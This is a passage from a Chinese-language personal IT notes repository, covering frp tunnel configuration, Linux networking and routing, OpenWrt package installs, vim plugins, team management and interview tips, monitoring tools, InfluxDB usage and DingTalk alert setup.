26 | method = "token" # 认证方式,支持 "token" 或 "oidc"
27 | token = "服务端自定义token"
28 |
29 | # Web管理面板(可选)
30 | [webServer]
31 | addr = "0.0.0.0"
32 | port = 7500
33 | user = "gary"
34 | password = "自定义的密码"
35 | # tls.certFile = "./keys/server.crt"
36 | # tls.keyFile = "./keys/server.key"
37 | # tls.trustedCaFile = "./keys/CA.crt"
38 |
39 | # 日志配置
40 | [log]
41 | to = "./frps.log"
42 | level = "debug"
43 | maxDays = 3
44 |
45 | [transport]
46 | maxPoolCount = 5
47 | # TLS加密
48 | # tls.force = true # 强制客户端使用TLS
49 | # tls.certFile = "./keys/server.crt"
50 | # tls.keyFile = "./keys/server.key"
51 | # tls.trustedCaFile = "./keys/CA.crt"
52 | ```
53 |
54 | ### 客户端配置
55 |
56 | ```toml
57 | serverAddr = "frps服务的公网IP"
58 | serverPort = frps服务的公网端口
59 |
60 | # 认证
61 | [auth]
62 | method = "token"
63 | token = "服务端自定义token"
64 |
65 | # 日志
66 | [log]
67 | to = "./frpc.log"
68 | level = "info"
69 |
70 | [webServer]
71 | addr = "127.0.0.1"
72 | port = 7400
73 | user = "admin"
74 | password = "admin"
75 |
76 | # 代理服务
77 | [[proxies]]
78 | name = "rdp"
79 | type = "tcp"
80 | localIP = "127.0.0.1"
81 | localPort = 3389
82 | remotePort = 3389
83 |
84 | # [transport]
85 | # tls.enable = true
86 | # tls.certFile = "./keys/client.crt"
87 | # tls.keyFile = "./keys/client.key"
88 | # tls.trustedCaFile = "./keys/CA.crt"
89 | ```
90 |
91 | ### 指令
92 |
93 | ```sh
94 | ./frps -c frps.toml
95 | ./frpc -c frpc.toml
96 | ```
97 |
--------------------------------------------------------------------------------
/linux/network/network-tools.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/garysdevil/ITNote/83bb1287b041c48c1b5f77c1bf0a29c4a7a25d31/linux/network/network-tools.png
--------------------------------------------------------------------------------
/linux/network/network1.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-11-27
3 | ---
4 |
5 | [TOC]
6 |
7 | ## BPF
8 |
9 | BPF(伯克利包过滤器Berkeley Packet Filter),最初构想提出于 1992 年,其目的是为了提供一种过滤包的方法,并且要避免从内核空间到用户空间的无用的数据包复制行为。
10 |
11 | ## route
12 |
13 | - 参考
14 | https://ivanzz1001.github.io/records/post/linuxops/2018/11/14/linux-route
15 |
16 | 1. Linux系统的route命令用于显示和操作IP路由表(show/manipulate the IP routing table)。
17 |
18 | 2. 要实现两个不同的子网之间的通信,需要一台连接两个网络的路由器,或者同时位于两个网络的网关来实现。
19 |
20 | 3. 在Linux系统中,设置路由通常是为了解决一个问题:该Linux系统在一个局域网中,局域网中有一个网关,能够让机器访问internet,那么就需要将网关地址设置为该Linux机器的默认路由。
21 |
22 | 4. 查看路由表 route -n
23 | Destination: 目标网络(network)或者目标主机(host);’0.0.0.0’用于指示默认路由。
24 | Gateway: 网关地址,\*表示并未设置网关地址。
25 | Genmask: 子网掩码。其中’255.255.255’用于指示单一目标主机;’0.0.0.0’用于指示默认路由。
26 |
27 | 5. 指令
28 |
29 | ```bash
30 | # 删除默认网关
31 | route del default gw 10.0.0.254
32 |
33 | # 添加默认网关
34 | route add default gw 10.0.0.254
35 | # 或者
36 | route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.0.0.254
37 |
38 | # 添加一条路由
39 | ip route add 172.16.0.0/16 via 92.168.0.1 dev eth0
40 | ```
41 |
42 | ## 网关
43 |
44 | 1. 网关是一个逻辑概念。
45 | 2. 网关用来连接两个不同网段的网络。
46 | 3. 防火墙、路由器、三层交换机、电脑、部分MCU、一些存储设备,还有一些其它设备也可以设置成网关。
47 |
48 | ## 广播地址
49 |
50 | 1. IP
51 | IP=网络地址+主机地址
52 | 通过子网掩码区分网络地址和主机地址
53 |
54 | 192.168.0.1/24
55 | 网络地址是 192.168.0.0
56 | 广播地址是 192.168.0.255
57 | 此网络内每台机器上的广播地址都是192.168.0.255
58 |
59 | 1. 单播
60 | 单播 = 点对点通信
61 |
62 | 2. 多播
63 | 多播 = 组播
64 | 需要相同数据流的客户端加入相同的组共享一条数据流,服务端向组发送数据。
65 |
66 | 3. 广播
67 | 限制:只能在一个网络段内发送数据
68 | 功能:向所有的机器发送数据
69 | 例子:ARP寻址
70 | 机器A发送一个ARP广播寻找IP-1对应的MAC地址,非IP-1的机器接收到广播数据后丢弃数据,IP-1的机器收到ARP广播数据后,向对方回应数据。
71 |
72 | ## 二层三层网络协议
73 |
74 | - 参考
75 | https://blog.csdn.net/SmallCatBaby/article/details/89877622
76 |
77 | - 应用层和传输层是由软件定义的,而到了下层则是由设备厂商自己决定如何实现的,思科、华为都有自己的实现协议,都是保密的。
78 |
79 | 1. mac:网卡的硬件地址
80 |
81 | ### ARP(Address Resolution Protocol)
82 |
83 | 实现从 IP 地址到 MAC 地址的映射。
84 | 查看本地的映射:arp -a
85 |
86 | ### 动态路由协议
87 |
88 | 1. 相关协议
89 | RIPv1 RIPv2 ...
90 |
91 | 2. 功能:维护路由信息,建立路由表,决定最佳路由。
92 |
93 | ## 网络设备
94 |
95 | ### 交换机Switch
96 |
97 | 1. 二层网络设置。
98 | 2. 维护一张“端口-MAC地址映射表”,记录了MAC地址和交换机端口的对应关系.
99 | 3. MAC地址表的创建
100 | 1. 机器主动发起请求的报文,Switch把源MAC和从哪一个端口收到的建立对应关系。
101 | 2. Switch收到报文的时候如果MAC表里还没有这个目的MAC,那么就在除了收到这个报文的端口以外的其他端口进行一次洪泛,等待目的MAC的终端响应。
102 | 4. 通过mac地址进行通信。
103 |
104 | - 相关命令
105 | dis arp 显示ip地址和物理地址的对应关系
106 |
107 | ### 路由器
108 |
109 | 1. 三层网络设备
110 | 2. 维护一张路由表,“目地IP地址-网关IP地址的映射表”
111 | 3. 路由表的创建
112 | 1. 静态路由-管理员手工配置下一跳形成路由表。
113 | 2. 动态路由-通过动态路由协议创建路由表。
114 | 4. 通过IP地址进行通信。
115 |
--------------------------------------------------------------------------------
/linux/package-management/apt-yum.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/garysdevil/ITNote/83bb1287b041c48c1b5f77c1bf0a29c4a7a25d31/linux/package-management/apt-yum.png
--------------------------------------------------------------------------------
/linux/pictures/linux-OS.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/garysdevil/ITNote/83bb1287b041c48c1b5f77c1bf0a29c4a7a25d31/linux/pictures/linux-OS.jpg
--------------------------------------------------------------------------------
/linux/pictures/linux-block.jpeg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/garysdevil/ITNote/83bb1287b041c48c1b5f77c1bf0a29c4a7a25d31/linux/pictures/linux-block.jpeg
--------------------------------------------------------------------------------
/linux/pictures/linux.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/garysdevil/ITNote/83bb1287b041c48c1b5f77c1bf0a29c4a7a25d31/linux/pictures/linux.png
--------------------------------------------------------------------------------
/linux/pictures/systemd.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/garysdevil/ITNote/83bb1287b041c48c1b5f77c1bf0a29c4a7a25d31/linux/pictures/systemd.png
--------------------------------------------------------------------------------
/linux/router.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2022-06-27
3 | ---
4 |
5 | [TOC]
6 |
7 | ## 路由器
8 |
9 | - openwrt论坛 https://forum.gl-inet.com/
10 | - openwrt安装v2ray https://github.com/kuoruan/openwrt-v2ray
11 | - mips_siflower架构版本 https://github.com/kuoruan/openwrt-v2ray/issues/171
12 |
13 | ### 嵌入式设备
14 |
15 | - 安装包 ipk
16 | - 包管理工具 opkg
17 |
18 | ```bash
19 | opkg update # 更新可以获取的软件包列表
20 | opkg upgrade # 对已经安装的软件包升级
21 | opkg list # 获取软件列表
22 | opkg install ${package_name} # 安装指定的软件包
23 | opkg remove # 卸载已经安装的指定的软件包
24 |
25 | # 打印系统架构
26 | opkg print-architecture
27 | ```
28 |
29 | ```bash
30 | wget https://github.com/aspark/openwrt-v2ray/releases/download/v5.1.0-1/v2ray-core_5.1.0-1_mips_siflower.ipk
31 | opkg install ./v2ray-core_5.1.0-1_mips_siflower.ipk
32 | /usr/bin/v2ray
33 | ```
34 |
--------------------------------------------------------------------------------
/linux/tunning.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-11-28
3 | ---
4 |
5 | [TOC]
6 |
7 | - 参考
8 | - Linux Performance Tuning》(Linux 性能调优)作者是 Fernando Apesteguia
9 |
10 | ## 硬件
11 |
12 | 1. 用vmstat、sar、iostat检测是否是CPU瓶颈
13 | 2. 用free、vmstat检测是否是内存瓶颈
14 | 3. 用iostat检测是否是磁盘I/O瓶颈
15 | 4. 用netstat检测是否是网络带宽瓶
16 |
17 | ## 操作系统:
18 |
19 | 1. 进程
20 | 2. 文件系统
21 | 3. SWAP 分区
22 | 4. 内核参数调整
23 |
24 | ## 应用程序(MySQL等):
25 |
26 | 1. mysqlreport 性能分析报告
27 | 2. mysqlsla 慢查询日志分析
28 |
--------------------------------------------------------------------------------
/linux/vim/vim-cheat-sheet-sch.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/garysdevil/ITNote/83bb1287b041c48c1b5f77c1bf0a29c4a7a25d31/linux/vim/vim-cheat-sheet-sch.gif
--------------------------------------------------------------------------------
/linux/vim/vim-cheat-sheet.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/garysdevil/ITNote/83bb1287b041c48c1b5f77c1bf0a29c4a7a25d31/linux/vim/vim-cheat-sheet.gif
--------------------------------------------------------------------------------
/linux/vim/vim.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-11-16
3 | ---
4 |
5 | [TOC]
6 |
7 | ## 安装pathogen插件管理
8 |
9 | mkdir -p ~/.vim/autoload ~/.vim/bundle
10 | curl -LSso ~/.vim/autoload/pathogen.vim https://tpo.pe/pathogen.vim
11 |
12 | vim vimrc
13 |
14 | ```conf
15 | # 在尾行添加
16 | execute pathogen#infect()
17 | syntax on
18 | filetype plugin indent on
19 | ```
20 |
21 | ## 插件
22 |
23 | ### NERD tree
24 |
25 | - NERD tree
26 |
27 | - 是一款vim树形文件资源管理器插件。
28 | - 可以在vim中浏览文件系统,打开想要的文件或目录。
29 |
30 | - 源码 https://github.com/scrooloose/nerdtree
31 |
32 | - 下载安装教程 https://www.vim.org/scripts/script.php?script_id=1658
33 |
34 | - :NERDTree
35 |
36 | - 打开新的目录树。可以提供一个路径参数,那么命令将打开以该路径作为根目录的目录树。如果没有路径参数提供,那么当前目录将作为新的目录树的根目录。
37 |
38 | - :NERDTreeToggle
39 |
40 | - 如果当前标签已经存在目录树,该命令会重新刷新目录树显示;如果当前标签不存在目录树,该命令作用效果与:NERDTree命令一致。
41 |
42 | - :NERDTreeClose
43 |
44 | - 关闭当前标签的目录树。
45 |
46 | - 设置快捷键 /etc/vim/vimrc
47 |
48 | ```
49 | " 绑定F2到NERDTreeToggle指令
50 | map :NERDTreeToggle
51 |
52 | " 绑定ctrl+n到NERDTreeToggle指令
53 | map :NERDTreeToggle
54 | ```
55 |
56 | ## 常识
57 |
58 | 1. 搜索时忽略大小写 `:/${string}\c`
59 |
60 | 2. 在每行行首添加相同的内容 `:%s/^/要添加的内容/g`
61 |
62 | 3. 在每行行尾添加相同的内容 `:%s/$/要添加的内容/g` 或 `:1,$ s/$/字符串/g`
63 |
64 | 4. 去掉整个文本的行尾空格 `:%s/\s\+$//g`
65 |
66 | 5. 去掉整个文本的行尾分号 \`\` :%s/;+$//g \`\`\`
67 |
68 | ### 文件的基本操作
69 |
70 | - 在新窗口新建一个文件
71 | - :new
72 | - 在新tab中新建文件
73 | - :tabnew
74 | - 编辑指定文件(edit),没有则新建
75 | - :e ${filepath}
76 | - 打开一个文件
77 | - :open ${file}
78 | - 水平分割vim窗格
79 | - :split
80 | - 简写 :sp
81 | - 垂直分割vim窗格
82 | - :vsplit
83 | - 简写 :vsp
84 | - 在窗格间切换
85 | - Ctrl+ww 下个窗格
86 | - ctrl+w –>上下左右(先按ctrl+w,放开,再按方向键)
87 | - 下一个文件
88 | - :bn
89 | - :n
90 | - 上一个文件
91 | - :bp
92 | - :N
93 | - 显示文件缓存
94 | - :ls
95 | - 移至该文档
96 | - :b 文档名或编号
97 |
--------------------------------------------------------------------------------
/manage/BI/BI.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/garysdevil/ITNote/83bb1287b041c48c1b5f77c1bf0a29c4a7a25d31/manage/BI/BI.jpg
--------------------------------------------------------------------------------
/manage/design.md/README.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-12-17
3 | ---
4 |
5 | [TOC]
6 |
7 | 1. 任何架构、组件、框架的引入,都会带来新的问题,我们在使用的时候一定要有相应的评估和解决方案。
8 |
--------------------------------------------------------------------------------
/manage/design.md/selection.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2021-07-12
3 | ---
4 |
5 | [TOC]
6 |
7 | # 选型
8 |
9 | ## 监控
10 |
11 | ### zabbix
12 |
13 | 1. 配置与规模
14 | - 8c 32G
15 | - 150台服务器,每台服务器平均100个监控,每个监控项平均1分钟收集数频率
16 |
17 | #### 提高性能
18 |
19 | 1. 数据库读写分离
20 | - 通过mysql-proxy(lua实现的脚本)
21 | - mysql-proxy是mysql官方提供的mysql中间件服务
22 | - https://downloads.mysql.com/archives/proxy/
23 | - 更改源代码
24 | 2. 添加 zabbix-proxy
25 |
26 | ### prometheus
27 |
28 | ## 日志收集
29 |
30 | ### ES & Kibana
31 |
32 | 1. 35G每日
33 |
34 | - 两个节点的集群
35 | - 8c 16G ES
36 | - 8c 32G ES & Kibana
37 | - index设置为一个分片一个副本
38 | - 每天数据收集量为15G ~ 35G
39 |
40 | 2. 1200G每日
41 |
42 | - 20个节点的集群
43 |
44 | - 5c 8G ES client node ;memory 日常消耗7G ; cpu 日常消耗200m到500m
45 |
46 | - 14c 24G ES data node ;memory 日常消耗16G ; cpu 日常消耗200m到2000m,有时会突增到7C。
47 |
48 | -
49 |
50 | - index设置为一个分片一个副本
51 |
52 | - 每天数据收集量为1200G左右 ;200G左右
53 |
--------------------------------------------------------------------------------
/manage/design.md/system-alibaba.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/garysdevil/ITNote/83bb1287b041c48c1b5f77c1bf0a29c4a7a25d31/manage/design.md/system-alibaba.png
--------------------------------------------------------------------------------
/manage/design.md/system.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-12-17
3 | ---
4 |
5 | [TOC]
6 |
7 | ## 前台 中台 后台
8 |
9 | - 参考
10 | 1. https://blog.csdn.net/cxzhq2002/article/details/78616656?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-1.control&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-1.control
11 | 2. https://blog.csdn.net/weixin_42826672/article/details/103406132
12 |
13 | 1. 大中台立足于长远和全局
14 | 2. 前台立足于当下和局部
15 | 3. 大中台是个非常讲究战略方向、标准化、规范化的特定组织和系统,其能力和资源的整合的直接驱动力来自于自身对于业务的主动分析,而不是被动承接的特定业务,因此特别强调工作的主动性和创造性,也特别容易流于形式。
16 |
17 | ### 前台
18 |
19 | ```
20 | 1. 包括各种和用户直接交互的界面,比如web页面,手机app;也包括服务端各种实时响应用户请求的业务逻辑,比如商品查询、订单系统等等。
21 | 2. 简而言之 就是 给消费者 使用的系统。
22 | 3. 定位:盈利
23 | ```
24 |
25 | ### 后台
26 |
27 | ```
28 | 1. 面向运营人员的配置管理系统,比如商品管理、物流管理、结算管理。后台为前台提供了一些简单的配置。
29 | 2. 定位:对前台进行配置管理等
30 | ```
31 |
32 | ### 中台
33 |
34 | ```
35 | 1. 将各个前台系统可以共享的模块抽取出来,作为共享资源。
36 | 2. 定位:使前台只需要关注并快速地进行业务模块开发。
37 | ```
38 |
39 | ## 网站
40 |
41 | ### 最小化由于某个组件导致整体受到的影响
42 |
43 | - 动态内容
44 | - 静态内容
45 | 电商平台为例
46 | 静态内容(例如商品信息)缓存在CDN里。
47 | 用户没有登入的情况下,网站就应该像一个静态网站一样,不会受到数据库中间件的影响而导致商品无法向客户展示。
48 |
49 | ### 前端后端数据库
50 |
--------------------------------------------------------------------------------
/manage/manage.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2021-01-08
3 | ---
4 |
5 | [TOC]
6 |
7 | # 管理
8 |
9 | - 管理者
10 | - 执行者
11 |
12 | ## 管理者
13 |
14 | - 抓大事,规划,用人
15 |
16 | 1. 抓大事
17 | 2. 规划:计划,制定目标,决策,指示等
18 | 3. 选才用人
19 | 1. 角色定位
20 |
21 | ## 运维管理
22 |
23 | - 运维的定义
24 | 1. 运维,这里指互联网运维,通常属于技术部门,与研发、测试、系统管理同为互联网产品技术支撑的4大部门,这个划分在国内和国外以及大小公司间都会多少有一些不同。
25 | 2. 一个互联网产品的生成一般经历的过程是:产品经理、需求分析、研发部门开发、测试部门测试、运维部门部署发布以及长期的运行维护。
26 | 3. 运维,本质上是对网络、服务器、服务的生命周期各个阶段的运营与维护,在成本、稳定性、效率上达成一致可接受的状态。
27 |
28 | ### 招聘
29 |
30 | - 基本运维能力
31 |
32 | 1. 项目运维经验
33 | 2. K8S经验
34 | 3. 公共服务管理经验
35 | 4. 工作经验
36 |
37 | - 运维工程化能力
38 |
39 | 1. 项目开发经验
40 |
41 | - 底层知识
42 |
43 | 1. 网络知识
44 | 1. TCP/IP 协议
45 |
46 | - 学习能力
47 |
48 | 1. 对技术的热爱程度
49 | 2.
50 |
51 | ### 新员工入职
52 |
53 | 1. 快速上手
54 |
55 | ### 职责
56 |
57 | 一线任务,每个人都应该可以搞定,保证对外业务不会因员工离职而导致出现问题
58 | 二线任务,专攻具体模块,提升运维团队整体技术能力
59 |
60 | ## 衍生
61 |
62 | 1. 店长:运营能力 协调能力 激励能力 营销能力
63 | 1. 运营能力 短期规划 长期规划 达成目标 数据分析
64 |
--------------------------------------------------------------------------------
/manage/manage1.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2025-01-22
3 | ---
4 |
5 | [TOC]
6 |
7 | ## 需求与执行
8 |
9 | 1. 需求方:明确需求
10 | 2. 执行方:理解需求
11 | 3. 需求方和执行方讨论解决方案
12 | 1. 1
13 | 2. 2
14 | 3. 3
15 | 4. 需求方和执行方选择一个解决方案,达成共识。
16 | 5. 执行方:执行。
17 |
18 | ## 团队
19 |
20 | 1. 话事人
21 | 1. 我们要做什么
22 | 2. 制定指标和路线图
23 | 2. 管理
24 | 1. 我们怎么做
25 | 2. 从业务层,寻找最优解决方案
26 | 3. 执行
27 | 1. 我们去做
28 | 2. 从技术层,寻找最优解决方案
29 |
--------------------------------------------------------------------------------
/manage/work/1.introduction.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2021-07-20
3 | ---
4 |
5 | [TOC]
6 |
7 | # 我的简历
8 |
9 | ## 开发类工作
10 |
11 | ## 运维类工作
12 |
13 | 1. 运维理念:服务治理 自动化运维 SRE
14 |
15 | ## 研发类工作
16 |
17 | ## 我的特色
18 |
19 | 2. 完整的项目运维经验,监控经验,K8S
20 |
--------------------------------------------------------------------------------
/manage/work/2.interviewee.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2021-07-20
3 | ---
4 |
5 | [TOC]
6 |
7 | # 作为面试者
8 |
9 | ## 第一问 ~ 直中要害
10 |
11 | 01. 公司是否打卡;打卡是否弹性打卡
12 | 02. 此岗位规划人员数目
13 | 03. 此岗位目前人员数目
14 | 04. 为什么此岗位需要进行新的招聘(老员工离职、新增此岗位、团队扩大)
15 | 05. 公司氛围
16 | 06. 关于加班相关的制度
17 | 07. 五险一金缴纳情况
18 | 08. 年假;病假,病假是否带薪,病假薪水是否被打折
19 | 09. 公司人数总规模,主要业务,主要产品
20 | 10. 薪水
21 |
22 | ## 第一技术面
23 |
24 | 1. 面试官的岗位,下级,直接上级,主要工作内容
25 |
26 | - 知彼知己,自己能从直接上级获得到什么技术/资源上的支持
27 |
28 | 2. 公司是否会定期进行 内部技术分享,技术培训
29 |
30 | - 决定了公司的技术氛围
31 |
32 | 3. 团队规模,架构,技术栈
33 |
34 | - 决定了你的难兄难弟
35 | - 决定了你可以接触到的资源
36 | - 决定了你可以学习的技术
37 |
38 | 4. 是否愿意尝试最新技术
39 |
40 | - 决定了个人是否能往最新技术发展
41 |
42 | 5. 我们部门负责的主要项目是,工作内容是(了解部门工作情况)
43 |
44 | 6. 我的工作内容
45 |
46 | ## 潜在要素
47 |
48 | 1. 了解哪些面试官可以直接决定你的薪水
49 |
--------------------------------------------------------------------------------
/manage/work/3.interviewer.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2021-07-20
3 | ---
4 |
5 | [TOC]
6 |
7 | # 作为面试官
8 |
9 | 1. 离职原因
10 |
11 | 2. 计划到岗时间
12 |
13 | 3. 对公司的了解
14 |
15 | 4. 抗压能力
16 |
17 | 5. 期望薪资
18 |
19 | 6. 职业规划
20 |
--------------------------------------------------------------------------------
/manage/work/4.newstart.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2021-07-20
3 | ---
4 |
5 | [TOC]
6 |
7 | # 作为公司的新员工~我们该如何快速获取资源掌控工作节奏
8 |
9 | 1. 公司架构图
10 |
11 | 2. 运维架构图
12 |
13 | 3. 项目结构图
14 |
15 | 4. 公共服务资源文档存放在哪里
16 |
--------------------------------------------------------------------------------
/manage/work/README.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2021-07-20
3 | ---
4 |
5 | [TOC]
6 |
7 | # 工作
8 |
9 | ## 何为工作
10 |
11 | 1. 寻找能施展才华实现自我价值的平台
12 | 2. 寻找让自己得到成长和获取资源的平台
13 | 3. 获取应该获取的利润回报
14 |
15 | ## 我的工作经历
16 |
17 | ## 作为求职者,我们该问什么
18 |
19 | ## 作为面试官,我们该问什么
20 |
21 | ## 作为公司的新员工,我们该如何快速获取资源掌控工作节奏
22 |
--------------------------------------------------------------------------------
/monitor/APM&Tracing/README.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-11-24
3 | ---
4 |
5 | [TOC]
6 |
7 | ## Dapper
8 |
9 | - 参考
10 | https://static.googleusercontent.com/media/research.google.com/en-US//archive/papers/dapper-2010-1.pdf
11 | http://bigbully.github.io/Dapper-translation/ 中文翻译
12 | https://research.google/pubs/pub36356/
13 |
14 | ## OpenTracing
15 |
16 | - 参考
17 |
18 | - https://wu-sheng.gitbooks.io/opentracing-io/content/
19 | - https://opentracing.io
20 |
21 | - OpenTracing(http://opentracing.io/)是分布式跟踪系统。
22 |
23 | ## APM
24 |
25 | - 参考
26 |
27 | - https://didispace-wx.blog.csdn.net/article/details/88677526?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-2.not_use_machine_learn_pai&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-2.not_use_machine_learn_pai
28 |
29 | - APM (Application Performance Management,即应用性能管理,在分布式领域也称为分布式跟踪管理)对企业的应用系统进行实时监控,它是用于实现对应用程序性能管理和故障管理的系统化的解决方案。
30 |
31 | ## 相关软件
32 |
33 | 1. skywalking 非代码侵入性 中国主导 gRPC
34 | 2. Pinpoint 非代码侵入性 韩国主导 thrift
35 | 3. Zipkin 代码侵入性弱
36 | 4. CAT 代码侵入性强
37 |
--------------------------------------------------------------------------------
/monitor/Prometheus/architecture.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/garysdevil/ITNote/83bb1287b041c48c1b5f77c1bf0a29c4a7a25d31/monitor/Prometheus/architecture.png
--------------------------------------------------------------------------------
/monitor/Prometheus/k8s-install-prometheus/promethus-operator.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-11-16
3 | ---
4 |
5 | [TOC]
6 |
7 | 1. 通过开源项目部署prometheus
8 | https://github.com/prometheus-operator/prometheus-operator
9 |
10 | - promethus-operator可以通过serviceMonitor 自动识别带有某些 label 的service ,并从这些service 获取数据。
11 | - serviceMonitor 也是由promethus-operator 自动发现的。
12 |
--------------------------------------------------------------------------------
/monitor/Prometheus/long-store.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2021-02-06
3 | ---
4 |
5 | [TOC]
6 |
7 | ## 长期存储
8 |
9 | - 参考
10 |
11 | - https://blog.csdn.net/alex_yangchuansheng/article/details/108271368
12 |
13 | - VictoriaMetrics https://github.com/VictoriaMetrics/VictoriaMetrics
14 |
15 | - Thanos https://github.com/thanos-io/thanos
16 |
--------------------------------------------------------------------------------
/monitor/README.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-11-16
3 | ---
4 |
5 | [TOC]
6 |
7 | # 监控系统
8 |
9 | ## 监控划分
10 |
11 | 参考文档
12 | https://my.oschina.net/u/4278828/blog/3200478/print
13 |
14 | 1. 针对不同场景把监控系统分为三类
15 |
16 | - 日志类 Log
17 | - 调用链类 全链路监控
18 | - 度量类 Metric
19 |
20 | 2. 监控系统的分层
21 |
22 | 1. 客户端监控
23 | 2. 业务层监控
24 | 3. 应用层监控
25 | 4. 系统层监控
26 | - 内存
27 | - CPU
28 | - 存储:硬盘掉线 硬盘读写错误 读写超时
29 | 5. 网络层监控
30 | - 流量速率
31 | 6. 硬件层
32 |
33 | 3. 安全监控
34 |
35 | ## 监控规划
36 |
37 | ### 收集数据
38 |
39 | Prometheus
40 | Zabbix
41 |
42 | ### 数据存储
43 |
44 | 时序数据库 Rrometheus
45 |
46 | 4.
47 |
48 | 监控是基础设施,目的是为了解决问题,不要只朝着大而全去做,尤其是不必要的指标采集,浪费人力和存储资源(To B商业产品例外)。
49 |
50 | 需要处理的告警才发出来,发出来的告警必须得到处理。
51 |
52 | 简单的架构就是最好的架构,业务系统都挂了,监控也不能挂。
53 |
54 | ## 接口监控
55 |
56 | 接口的 RT
57 |
--------------------------------------------------------------------------------
/monitor/TSDB.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-11-16
3 | ---
4 |
5 | [TOC]
6 |
7 | # TSDB
8 |
9 | 1. 时序数据库
10 | 1999/07/16 RRDTool First release
11 | 2009/12/30 Graphite 0.9.5
12 | 2011/12/23 OpenTSDB 1.0.0
13 | 2013/05/24 KairosDB 1.0.0-beta
14 | 2013/10/24 InfluxDB 0.0.1
15 | 2014/08/25 Heroic 0.3.0
16 | 2017/03/27 TimescaleDB 0.0.1-beta
17 | m3db
18 |
19 | 2. 关系型数据 和 时序数据库 的查询语句对比
20 | https://songjiayang.gitbooks.io/prometheus/content/promql/sql.html
21 |
22 | 3. 关系型数据库的海量查询
23 | https://www.cnblogs.com/Leo_wl/p/9645416.html
24 |
25 | 4. 远端存储
26 | https://prometheus.io/docs/prometheus/latest/storage/
27 |
28 | - https://yunlzheng.gitbook.io/prometheus-book/part-ii-prometheus-jin-jie/readmd/prometheus-remote-storage
29 |
30 | ## InfluxDB
31 |
32 | - https://portal.influxdata.com/downloads/ 官网
33 | - https://www.cnblogs.com/takemybreathaway/articles/10774787.html
34 |
35 | ### 概览
36 |
37 | 1. 语法:2.0版本的语法使用的是JavaScript,1.x使用的是sql。
38 |
39 | 2. influxdb提供了prometheus的对接端口有3个:
40 | /api/v1/prom/read
41 | /api/v1/prom/write
42 | /api/v1/prom/metrics
43 |
44 | 3. 术语
45 | database 数据库
46 | measurement 数据库中的表
47 | points 表里面的一行数据
48 | Point由时间戳(time)、数据(field)、标签(tags)组成
49 |
50 | ### v1版本
51 |
52 | #### 部署
53 |
54 | 1. 默认的数据存储位置为/root/.influxdb/
55 |
56 | 2. 通过配置文件更改存储位置
57 | ./influxd --config ./influxdb.conf
58 |
59 | 3. 默认端口
60 | 8083: Web admin管理服务的端口, http://localhost:8083
61 | 8086: HTTP API的端口
62 | 8088: 集群端口(配置在全局的bind-address,默认是开启的)
63 |
64 | ### v2版本
65 |
66 | #### 部署
67 |
68 | 1. 默认的数据存储位置为:~/.influxdbv2,自定义存储位置则在启动参数中指定 bolt 和 engine 的存储路径
69 | ./influxd --bolt-path ./influxdbv2/influxd.bolt --engine-path ./influxdbv2/engine/
70 |
71 | 2. 默认端口 9999
72 |
73 | #### 操作语法
74 |
75 | - 基本上和sql一样
76 |
77 | 1. 数据保存策略
78 | show retention policies on 数据库名;
79 |
80 | 2. 插入操作
81 | insert measurement,tag1=value,tag2=value key=数值
82 | 例如
83 | use test1
84 | insert ztest,tag1=a,tag2=b count=1
85 | curl -i -XPOST 'http://127.0.0.1:8086/write?db=test1' --data-binary 'ztest,tag1=a,tag2=b count=2'
86 |
--------------------------------------------------------------------------------
/monitor/alert-media/dingding/READ.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2021-07-24
3 | ---
4 |
5 | [TOC]
6 |
7 | ### 配置钉钉发送群消息
8 |
9 | - 材料
10 | - 发送钉钉消息的脚本
11 | - 钉钉app里的机器人
12 |
13 | 1. 获取服务器的公网IP。(配置钉钉机器人的时候需要用到)
14 |
15 | - $IP
16 |
17 | 2. 在钉钉群里面创建钉钉机器人。
18 |
19 | - 点击“群设置”,点击“智能群助手”,点击“添加机器人”,选择“自定义 通过Webhook接入自定义服务”的机器人。
20 | - 安全设置,勾选“IP地址”,填写公网IP
21 | - $Publick_IP
22 | - 点击添加。
23 |
24 | 3. 打开创建好的钉钉机器人,复制Webhook地址
25 |
26 | - 点击“群设置”,点击“智能群助手”,点击我们创建好的机器人,复制Webhook地址。
27 | - $Webhook_url
28 |
29 | 4. 在钉钉消息脚本里 替换对应的 $Publick_IP 和 $Webhook_url
30 |
31 | 5. 启动
32 |
--------------------------------------------------------------------------------
